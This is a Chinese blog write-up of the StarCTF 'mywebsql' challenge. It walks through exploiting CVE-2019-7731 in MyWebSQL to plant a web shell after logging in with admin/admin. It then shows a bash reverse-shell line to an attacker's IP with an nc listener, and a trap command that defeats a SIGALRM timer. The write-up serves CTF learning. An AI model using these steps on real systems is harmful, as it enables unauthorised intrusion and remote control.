由于最近在忙着出国赛的题,对于 StarCTF 也只是看了看,Web 部分总共有三题,最后一个题是最简单的,写完之后其他两题看了看,太费时间就没继续了。但对于做过的题还是有个记录比较好。
1、mywebsql
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556492001da231c6a411fd19b2c48a71bc887e62f-1024x288.png)
靶机:
- http://34.92.36.201:10080
- http://35.243.82.53:10080/
- http://35.200.49.109:10080
知识点:程序逻辑过滤不严,反弹 Shell,信号处理
步骤:
1、打开靶机,发现是一个叫 MyWebSQL 的程序。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15564922340162b982b1db8b22fc2270cd2774df48-1024x818.png)
2、上网一搜,发现其有个 RCE 的 CVE 可以利用。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556492397809c198186cc972e244517cc42b4f647-1024x512.png)
https://nvd.nist.gov/vuln/detail/CVE-2019-7731
3、根据 https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme,大概就是导出备份的时候写入的文件名没过滤,可以写出到任意扩展名的文件,那么我们就可以在数据里藏个 Shell,再将其导出就写 Shell 成功了。
4、那我们来试试,当然先得登录进去。试了试有个弱密码,admin/admin 就可以登录了。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/155649645154b19e606aaa46f2a22ab21fde24d364-1024x783.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556496524f9ce36fe3b3807d0a4de5ed0702c3b6d-1024x574.png)
5、那么我们就先创建一个表,叫 glzjin。有一个字段 code 即可。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556496644c522e8b7c44212ba2251a1c464f3f872-1024x571.png)
6、然后来插入一条数据,内容就是我们的 shell。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15564967654aaaf0a3a55f403b31e88baefb656d1f-1024x651.png)
7、然后导出数据库到文件。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15564968053b07d8404203364362df87c69f461c76.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556496835e6c368681a763518093b93ddf833c353-1024x722.png)
8、访问一下 /backups/glzjin.php,可以看到写 shell 成功了。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556496903245c17fcd89b338d1d0ad8b026b9e84f-1024x149.png)
9、然后用蚁剑连上看看。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15564969507ab158d22be91bfa35aed7b8daca4706-1024x720.png)
10、点击,打开来浏览一下文件看看,发现根目录下有个 flag 和 readflag。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556497046ca334457a8f0e03035ae3fb6999786f6-1024x688.png)
11、注意,flag 咱们没权限,就得先从有执行权限的 readflag 入手了。打开终端试试。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556497100a996e1ae2fe576381c18a9bf488a21d8.png)
13、可以看到,咱们什么都还没输入,这个程序就退出了。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/155649716935f5084630fa69035da9fb8ca4901271-1024x688.png)
14、我们再来反弹一个 Shell 来看看运行有啥结果,在我们自己的有公网 IP 的机器上执行 nc -vv -l -p 8888,监听端口来接收反弹来的 Shell。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15565007328706023acbe727bcc3837d5ba101b410.png)
15、再在靶机上的 /var/www/html/backups 目录(只有这个目录有写权限)里创建一个 bash 脚本,内容如下,再运行这个程序就可以反弹 Shell 到咱们自己的机器上了。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556500907596ca10e22e3ac6124a61d6679300d7d.png)
内容如下:
bash -i >& /dev/tcp/Your IP/8888 0>&1
![](https://www.zhaoj.in/wp-content/uploads/2019/04/155650109070d1371f94e6accca90001c71a893ec0-1024x309.png)
执行一下,
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15565011078383e28f341e219377aebac720eaefb5.png)
反弹成功,
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15565011316b6714594b399fee2538641d8b4010af-1024x176.png)
16、再次执行 /readflag,未果。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/155650116130a83e2ceab6a8aed4568edba4f36e47-1024x249.png)
17、那我们把 readflag 下载下来看看。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556497221c71f5dc4e674fa1f0c264338656ae8a7.png)
18、打开 IDA 分析一下。按 F5 看看源码。
![此图像的alt属性为空;文件名为155650284469a3967441816c930e671532897a73cf-1024x786.png](https://www.zhaoj.in/wp-content/uploads/2019/04/155650284469a3967441816c930e671532897a73cf-1024x786.png)
可以看到有个 ualarm,这个函数是发时钟信号 SIGALRM 来让终端终止当前程序的。所以造成了我们来不及输入,程序就结束了。
参考资料:https://blog.csdn.net/qq_22863733/article/details/80349120
20、那么我们有没有方法让他不执行呢?有。有个 trap 命令。
参考资料:https://linuxconfig.org/how-to-modify-scripts-behavior-on-signals-using-bash-traps
回到之前我们反弹的 Shell,在这里执行 trap “” 14 ,也就是告诉终端捕捉到 SIGALRM 信号时啥都不做。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/15565012083b606096b63349242ebda2bdf0249aa2.png)
21、再执行 /readflag,慢慢算吧。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556501225cf186faa76604665eef7f3a6a01b67f6.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/04/1556501270b4a4dedb38ba78f85bef4e1db7759109-1024x188.png)
22、输入正确回答。
![](https://www.zhaoj.in/wp-content/uploads/2019/04/155650129411601541a03efaecffe7ccbae23a7e63-1024x216.png)
23、Flag 到手~
2 个评论
repostone
技术性的东西不懂。
glzjin
多看看或许就能看懂了呢~